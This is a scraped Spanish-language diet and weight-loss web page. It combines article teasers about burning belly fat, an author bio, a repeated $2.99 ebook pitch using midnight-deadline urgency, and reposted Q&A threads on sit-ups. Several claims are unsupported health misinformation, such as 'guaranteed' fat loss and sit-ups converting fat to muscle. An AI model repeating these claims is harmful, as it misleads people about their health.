Por Qué La Mayoría De Las Dietas No Funcionan Y En Realidad Te Hacen Ganar Peso

Probablemente conoces a alguien –o has sido ese “alguien”— que comenzó una dieta con las mejores intenciones del mundo, pensando que perdería peso, se sentiría mucho mejor y disfrutaría de mayor salud y confianza en sí mismo. La desilusión llegó cuando, meses o años después, al subir a la balanza notó que pesaba mucho más que antes, o aún peor: mucho más que nunca. ¿Por qué la dieta solamente funcionó en un corto período y por qué había un incremento de peso de ese tipo cuando la dieta supuestam

por:
Dietabajadoradepesol

Salud & Ejercicio>
Dietasl
09/03/2014

Consejos Para Quemar La Barriga Y Bajar 7 Kilos En 30 Días

“Si pones en práctica estos 5 Consejos Para Quemar la Barriga, comenzarás a quemar grasa corporal en forma natural, ¡garantizado!”. Por lo general, en invierno siempre subimos algunos kilos demás, estudios científicos dicen, que el frió nos motiva a consumir más calorías de lo normal, muchos de nosotros tenemos trabajos donde pasamos mucho tiempo sentados frente a un computador, contestando el teléfono, leyendo emails o confeccionando algún informe de último minuto para nuestro jefe.

por:
Luisl

Salud & Ejercicio>
Dietasl
04/12/2013

Como Ganar Dinero Con El Social Media Manager Y El Marketing Online

Últimamente he leído que los nuevos perfiles de profesionales relacionados Social Media Manager son de los más demandados por las empresas. Por eso no es de extrañar que, ante la precaria situación laboral por la que atraviesa el país, muchos de quienes se encuentran sin trabajo, o quieren mejorar su situación laboral centren su atención en este área y se lancen en busca de cómo mejorar su formación y qué han de saber o aprender para sumergirse en el medio 2.0.

por:
Luisl

Negocios>
Negocios En Líneal
04/12/2013

Dieta Tlc Para Quemar La Grasa Del Abdomen

Pienso que la Dieta TLC es bastante efectiva en reducir el colesterol y ayudarnos a lograr nuestro objetivo de quemar la grasa abdominal. No promete una baja de peso significativa a corto plazo, pero sí una disminución eficaz y sin efecto rebote. Por esto y por sus beneficios a nivel cardiovascular, miles de personas la siguen.

por:
Luisl

Salud & Ejercicio>
Dietasl
02/08/2013
lVistas: 26

Café Verde Para Quemar La Grasa Abdominal

Estimado(a) amigo(a) si andas buscando un nuevo producto para quemar la grasa del abdomen que puedes complementar perfectamente con una buena nutrición y buenas rutinas de ejercicios. Creo que debes conocer y utilizar este nuevo producto que te ayudará naturalmente a bajar de peso, personalmente lo estoy utilizando y he podido perder 5 kilos en 30 días. ¿Por qué no te animas a probar este nuevo producto?

por:
Luisl

Salud & Ejercicio>
Dietasl
02/08/2013
lVistas: 38

Diabetes El Enemigo De Quemar La Grasa Abdominal

Creó que es importante que tomemos conciencia y poco a poco pasemos a convertirnos en personas quemadoras de azúcar a personas quemadoras de grasa. Están tan seguros porque suponen que nuestro estilo de vida, nuestra mala alimentación y desinformación continuarán sin nada que los desafíe. ¿Continuaremos causándonos nuestros propios problemas al seguir malos consejos provenientes de la mala ciencia?

por:
Luisl

Salud & Ejercicio>
Enfermedadesl
22/04/2013
lVistas: 21

12 Snack Saludables Para Quemar Grasa Del Abdomen Entre El Desayuno, Almuerzo Y Cena

Cómo trabajo en mi empleo actual en sistemas de turnos, muchas veces me pregunto cuál sería una buena elección de llevar un desayuno, comida o cena saludable. Todos los días tengo que luchar para encontrar buenas ideas para refrigerios sanos y rápidos “entre comidas”… especialmente una pequeña comida rápida o refrigerios que pueden llevarse a la oficina o en viajes por carretera y ¡así evitar la basura de comida rápida! Estimado(a) amigo(a) en este artículo aprenderás 12 Snack saludables…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 22

4 Pasos Para Quemar La Grasa Del Abdomen

“En este artículo conocerás 4 Pasos para quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a), si estas buscando bajar y tonificar tu abdomen, existen mejores maneras de hacerlo en lugar de sólo intentar hacer abdominales. De hecho, las investigaciones han demostrado que hacer ejercicios de abdominales por si solos, incluso cuando se hacen cinco días a la semana durante seis semanas, no tienen ningún efecto en absoluto en la grasa almacenada…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 89

5 Beneficios De La Chía Para Quemar La Grasa Abdominal

“En este artículo conocerás 5 Beneficios de la chía y 7 razones para incorporarla a tu dieta alimenticia que te ayudarán a quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a) mantener un estilo de vida saludable no es fácil. Se requiere de mucha disciplina y algo de conocimiento, en especial para distinguir los alimentos verdaderamente ricos en nutrición, y lo que se nos vende “por sano y natural”. Por eso es que constantemente busco súper alimentos, porque ambos…

por:
Luisl

Salud & Ejercicio>
Dietasl
18/04/2013
lVistas: 62

Navegacion de Autor

Mi Portada
Publicar Artículos
Ver/Editar Artículos
Ver/Editar P&R
Editar tu Cuenta
Manejar Autores
Estadisticas de la Página
Mi Portada
Editar tu Cuenta
Renovar Perfil
Ver/Editar P&R
Publicar Artículos
Box del Autor


tiene 28 artículos en linea

Contactar al Autor

Subscribirse al RSS

Imprimir Artículo

Enviar a un Amigo

Republicar artículo

Categorías
Salud & Ejercicio

Adicciones
Aeróbic
Antienvejecimiento
Cancer
Comer
Deporte
Dietas
Dormir
Enfermedades
Entrenamiento Muscular
Gimnasia Terapéutica
Medicina Alternativa
Meditación
Nuevos Descubrimientos

]]>

¿Necesita Ayuda?
Contáctenos
Preguntas Frecuentes
Publique Artículos
Directrices Editoriales
Blog

Links del Sitio
Artículos Recientes
Autores Top
Artículos Top
Encuentre Artículos
Mapa del Sitio

Webmasters
RSS

Información Financiera
Publicidad

La utilización de este sitio web constituye la aceptación de los Términos de Uso y la Política de Privacidad | El contenido publicado esta bajo licencia de Creative Commons License.
Copyright © 2005-2014 Artículos Gratis por ArtículoZ.com, Todos los derechos reservados.

Hola, soy Alfonso Maturana. Creo en las relaciones basadas en la confianza, pienso que hay una forma de hacer las cosas bien, de hacerlas correctamente y creo que es importante realizarlas de manera confiable. Me gusta crear artículos gratuitos y de buena calidad para ayudar a la personas y poder compartir mi experiencia y conocimientos. Te mostraré  una nueva forma de ver las cosas, verlas desde otro punto de vista, desde otro enfoque. Con instrucciones, consejos y pasos sencillos que puedes implementar en tu vida. Creo entregar más de lo prometido. Estaré encantado con tus preguntas y comentarios. Además, puedes seguirme en mi blog. http://quemargrasadelabdomen.wordpress.com 


Article from articlesbase.com

More Abdomen Plano Articles

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Q&A: ¿hacer 320 abdominales diarias y 120 lagartijas me quedo chaparro?


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Question by Omar Mejia: ¿hacer 320 abdominales diarias y 120 lagartijas me quedo chaparro?
Tengo 16 años y mido 170
desde hace 1 año siego esta rutina diaria (claro abeses descanso y despues otra ves le sigo con mi rutina)
- 8 series de 30 abdominales (cada serie es diferente tipo de abdominal)
- 6 series de 20 lagartijas (cada serie es diferente tipo de lagrtija)
creen que me podria quedar chaparro haciendo eso?
cuanto creen q le deva de bajar?
que ejercicios me sierven para crecer mas, se que los de estiramiento pero cuales?
porfavor y gracias.. :D

Best answer:

Answer by Juju *-*
ya estas grande no te quejes y yo se que quedas pequeño cuando haces pesas xD
yo que tu aumento

Give your answer to this question below!

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Como Despedirse De La Grasa En El Estomago – Abdomen Plano Y Marcado – Como Sacar Abdominales


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Visita: http://tinyurl.com/abdomen-sexy Como Despedirse De La Grasa En El Estomago – Abdomen Plano Y Marcado – Como Sacar Abdominales perder abdomen,para pe…
Video Rating: 0 / 5

VISITA : http://tinyurl.com/yzuz5am) Obtener un abdomen plano es el deseo de muchos hombres, y muchos se preguntan ¿Cómo obtener un abdomen plano con abdomi…
Video Rating: 0 / 5

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Q&A: necesito saber si alguien me puede aclarar una duda sobre abdominales?


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Question by capri12: necesito saber si alguien me puede aclarar una duda sobre abdominales?
con cuanto tiempo de hacer abdominales,se empieza a notar que se esta trabajando el abdomen y se nota el cambio

Best answer:

Answer by [_·*¨*(Skater_Rock)*¨*·_]
depende del metabolismo,tu complexion y cada cuanto las hagas y cuantas

Know better? Leave your own answer in the comments!

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner

 

Q&A: Quiero marcar abdominales!?


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

Question by Billion Dollar Baby: Quiero marcar abdominales!?
Hola en realidad soy delgado casi no tengo grasa abdominal , entonces me gustaria que me dieran consejos, hago 300 abdominales diarios creen que marque asi?
cuantos dias debo descansar?
que dieta debo seguir?
debo quemar grasa?
me gustaria que me dieran rutinas y dietas que pueda seguir
muchas gracias

Best answer:

Answer by Edgar M
hola que tal si llebas mucho tiempo aciendo esas abdominales y no los tienes marcados es por que los estas haciendo erroneamente
cuantos dias debo descansar?
CON 3 DIAS A LA SEMANA QUE AGAS ES SUFICIENTE PODRIA SER CONTRAPRODUCENTE HACER MAS
que dieta debo seguir?
UN DIETA BAJA EN GRASA,COMIENDO CARNE BLANCA COMO PECHUGAS DE POLLO COMER SOLO CUANDO TENGAS AMBRE Y NO POR GULA SI ACES OTRO TIPO DE EJERICIO SOLAMENTE COME BN
debo quemar grasa?
CON LOS ABDOMINALES QUEMAS LA GRASA DEL ABDOMEN Y LA COMBIERTES EN MUSCULO

UN RUTINA SERIA: DALE 3 VECES A LA SEMANA CON 300 ABDOMINALES QUE SON LAS QUE HACES DE 12 SERES DE 25 ESTA BN PERO SI SE TE HACE MUCHO PONTE UNA PESA EN TU PECHO Y SACA 5 DE 25 Y COME BN

Add your own answer in the comments!

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

Usted entenderá cómo La mayoría de estas personas que realmente perdieron peso ni siquiera fueron al gimnasio (Y aún efectivamente perder peso porque se queman las células de grasa cada semana sin fallar).

Consigue este libro electronico por sólo 2.99 dólares. El precio se incrementará a 10 dólares después de la medianoche.

Bono: Voy a enseñarte a combinar el consumo de alimentos para perder peso sin necesidad de ejercicio intenso.




Solamente $2.99 dólares



secretos para perder peso


Haz Click en el Button “Buy Now” para comprarlo ahora – El precio se incrementará a la medianoche.



Recibe gratis las últimas actualizaciones de rutinas abdominales en tu bandeja de entrada todos los días. Ingresa tu correo y haz click “subscribe” y luego, ingresa el codigo que aparece en la pagina para verificar tu Petición de suscripción gratis

Su dirección de correo electrónico:

Delivered by FeedBurner